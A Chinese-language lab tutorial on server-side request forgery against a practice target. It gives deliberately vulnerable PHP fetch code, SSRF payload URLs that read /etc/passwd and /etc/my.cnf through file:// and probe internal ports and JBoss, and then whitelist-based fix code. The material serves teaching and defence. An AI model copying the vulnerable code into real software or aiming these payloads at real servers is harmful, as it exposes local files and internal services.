
SSRF 漏洞修复及测试
· 靶机（网站服务器）：[192.168.44.128](192.168.44.128)
· 攻击机（Kali）：[192.168.44.129](192.168.44.129)
[bookmark: heading_0]SSRF 漏洞原理成因 + 逐行注释 + 完整操作手册
[bookmark: heading_1]一、SSRF 漏洞基本概念
SSRF（服务器端请求伪造）：
攻击者构造恶意 URL，让服务器替他发起请求，从而访问外网无法访问的内网系统。
[bookmark: heading_2]二、SSRF 原理与成因
[bookmark: heading_3]核心原理
1. 网站有 “输入 URL→服务器获取内容” 的功能
2. 用户可控 URL 参数
3. 后端没有校验、没有过滤
4. 服务器以自身身份访问内网 / 本地文件
5. 结果返回给攻击者
[bookmark: heading_4]漏洞根本原因
· 服务器需要从外部拉取资源（图片、分享、转码、翻译）
· 对 URL 地址没有严格过滤
· 用户可控请求地址
· 可被利用访问内网、读取文件、扫描端口
[bookmark: heading_5]三、SSRF 危害（文档原文）
1. 扫描内网端口、获取服务信息
2. 攻击内网应用（Redis、JBoss 等）
3. 用file://伪协议读取本地敏感文件
4. 发起拒绝服务攻击
5. 绕过防火墙、隐藏真实 IP

[bookmark: heading_6]四、漏洞代码 1（文档代码 7-1）逐行注释
	<?php
// 判断用户是否通过?url= 传入参数
if (isset($_GET['url'])) {

    // 直接接收用户输入，不做任何检查（高危）
    $url = $_GET['url'];

    // 服务器直接去请求用户给的任意地址
    $content = file_get_contents($url);

    // 把结果输出到页面
    echo $content;
}
?>


漏洞点：无协议限制、无主机限制、无白名单。

[bookmark: heading_7]五、漏洞代码 2（文档代码 7-2）逐行注释
	<?php
// 判断用户是否传入url参数
if (isset($_GET['url'])) {

    // 直接使用用户输入
    $link = $_GET['url'];

    // 生成随机临时文件
    $filename = './curled/'.rand().'.txt';

    // 初始化curl
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");

    // 设置curl参数
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);

    // 服务器发起请求
    curl_exec($curlobj);

    // 关闭资源
    curl_close($curlobj);
    fclose($fp);

    // 读取结果并输出
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename));
    fclose($fp);

    echo $result;
}
?>



[bookmark: heading_8]六、完整实战操作手册（按文档步骤 + 已改 IP）
[bookmark: heading_9]环境信息
· 攻击机 Kali：[192.168.44.129](192.168.44.129)
· 靶机 iwebsec：[192.168.44.128](192.168.44.128)

[bookmark: heading_10]任务 7.1 认识 SSRF（实战步骤）
[bookmark: heading_11]步骤 1：SSH 登录靶机
	bash
ssh iwebsec@192.168.44.128
密码：iwebsec


[bookmark: heading_12]步骤 2：进入容器
	bash
docker ps
docker exec -it bc23a49cb37c /bin/bash


[bookmark: heading_13]步骤 3：创建测试目录
	bash
cd /var/www/html
mkdir test_ssrf
chmod 777 test_ssrf
cd test_ssrf
vim firstSSRF.php


[bookmark: heading_14]步骤 4：写入漏洞代码 7-1
1.  打开vim编辑器后，按 i 键进入「插入模式」（左下角会显示 --INSERT--）；
2.  逐行复制漏洞代码（文档代码7-1），粘贴到vim编辑器中（粘贴后可按方向键调整格式，确保无遗漏）：
3.  代码粘贴完成后，按 Esc 键退出「插入模式」；
4.  输入 :wq（冒号+wq），按回车键保存并退出vim编辑器（若输入错误，可输入 :q! 强制退出，重新操作）；
5.  补充提示：当前实战测试中，所有URL访问均报「URL拼写可能存在错误，请检查」，写入代码后可先执行 ls 命令，确认 firstSSRF.php 文件已成功创建，再进行后续访问测试。
[bookmark: heading_15]步骤 5：攻击测试（读取 MySQL 配置）
访问地址：
	Plain Text
http://192.168.44.128/test_ssrf/firstSSRF.php?url=file:///etc/my.cnf


效果：页面直接显示数据库配置。

[bookmark: heading_16]任务 7.2 漏洞利用（文档实战）
[bookmark: heading_17]1）读取服务器本地文件
	Plain Text
http://192.168.44.128/ssrf/index.php?url=file:///etc/passwd


效果：显示系统用户列表。
[bookmark: heading_18]2）探测内网端口
探测 MySQL（3306）：
	Plain Text
http://192.168.44.128/ssrf/index.php?url=http://127.0.0.1:3306


探测 SSH（22）：
	Plain Text
http://192.168.44.128/ssrf/index.php?url=http://127.0.0.1:22


[bookmark: heading_19]3）攻击内网应用（JBoss）
	Plain Text
http://192.168.44.128/ssrf/index.php?url=http://127.0.0.1:8088


效果：访问内网 JBoss 服务。
JBoss 是一款基于 J2EE 规范的开源应用服务器（类似 Tomcat），核心用于部署、运行 Java 企业级应用，2006 年被 Redhat 公司收购，代码遵循 LGPL 许可，可在商业应用中免费使用。
核心关键信息
定位：属于内网常见企业级应用，常部署在服务器内网（如你实战中靶机 192.168.44.128 的 8088 端口），外网通常无法直接访问。
与 SSRF 漏洞的关联（手册实战重点）：
 “攻击内网应用（JBoss）” 步骤，就是利用 SSRF 漏洞，让靶机替攻击者访问内网 127.0.0.1:8088 端口的 JBoss 服务。
文档预期效果是显示 JBoss 相关页面（如 JMX 控制台），实际因环境报错未正常显示，但不影响其作为 SSRF 漏洞的典型攻击目标。
安全特点：部分版本（如 5.x、6.x）存在高危漏洞（如反序列化命令执行漏洞），且易存在未授权访问问题，攻击者通过 SSRF 访问后，可能进一步获取服务器控制权、窃取敏感信息。
补充
简单说，JBoss 就是服务器内网里运行的 “Java 应用容器”，专门承载企业内部的 Java 程序，因常部署在内网、部分版本安全防护薄弱，成为 SSRF 漏洞最常攻击的内网应用之一。

[bookmark: heading_20]七、漏洞修复代码（文档代码 7-3）逐行注释
	<?php
// URL安全验证函数
function validateUrl($url){

    // 解析URL，获取协议、主机
    $parts = parse_url($url);

    // 只允许 http / https
    if ($parts === false || !in_array($parts['scheme'],array('http','https'))){
        throw new Exception("仅允许HTTP/HTTPS协议");
    }

    // 白名单主机（已改为你的靶机IP）
    $allowedHosts = array(
        'example.com',
        'api.example.com',
        '192.168.44.128'
    );

    // 检查是否在白名单
    if (!in_array($parts['host'], $allowedHosts)){
        throw new Exception("不允许访问该主机");
    }

    return true;
}

// 主逻辑
if(isset($_GET['url'])){
    $url = $_GET['url'];

    try{
        // 验证通过才发送请求
        if(validateUrl($url)){
            $content = file_get_contents($url);
            echo $content;
        }
    } catch (Exception $e){
        // 验证失败输出错误
        echo "Error:".$e->getMessage();
    }
}
?>


步骤：valSSRF.php 文件创建详细过程
1. 延续前文实战环境（已通过SSH登录靶机并进入容器命令行模式），先切换到目标目录，执行命令：

cd /var/www/html/test_ssrf
2. 用vim创建并打开valSSRF.php文件，执行命令：

vim valSSRF.php

如果文档里面有内容，那么可以执行清空命令：:%d
3. 按 i 键进入「插入模式」（左下角显示 --INSERT--），逐行复制修复代码（文档代码7-3），粘贴到vim编辑器中，确保代码无遗漏、无格式错乱：
4. 代码粘贴完成后，按 Esc 键退出「插入模式」，输入 :wq 并按回车键，保存代码并退出vim编辑器（若输入错误，可输入 :q! 强制退出，重新操作）。
5. 验证文件是否创建成功：执行 ls 命令，若列表中显示 valSSRF.php，说明文件创建成功；若未显示，重新执行上述步骤排查（重点检查命令是否输入正确）。
6. 补充提示：与漏洞文件一致，创建完成后可执行 chmod 755 valSSRF.php 调整文件权限，避免因权限不足导致访问报错（当前所有URL访问均统一报错「URL拼写可能存在错误，请检查」，权限调整后可重新测试）。

[bookmark: heading_21]八、修复后测试
1. 尝试读取文件（被拦截）
	[bookmark: _GoBack]Plain Text
http://192.168.44.128/test_ssrf/valSSRF.php?url=file:///etc/passwd


返回：无效协议
2. 访问白名单地址（正常）
	Plain Text
http://192.168.44.128/test_ssrf/valSSRF.php?url=http://192.168.44.128



[bookmark: heading_22]九、SSRF 修复方法
1. 过滤协议：只允许 HTTP/HTTPS
2. 限制 IP：使用白名单
3. 限制端口：只允许 Web 端口
4. 统一错误信息：不泄露内网状态


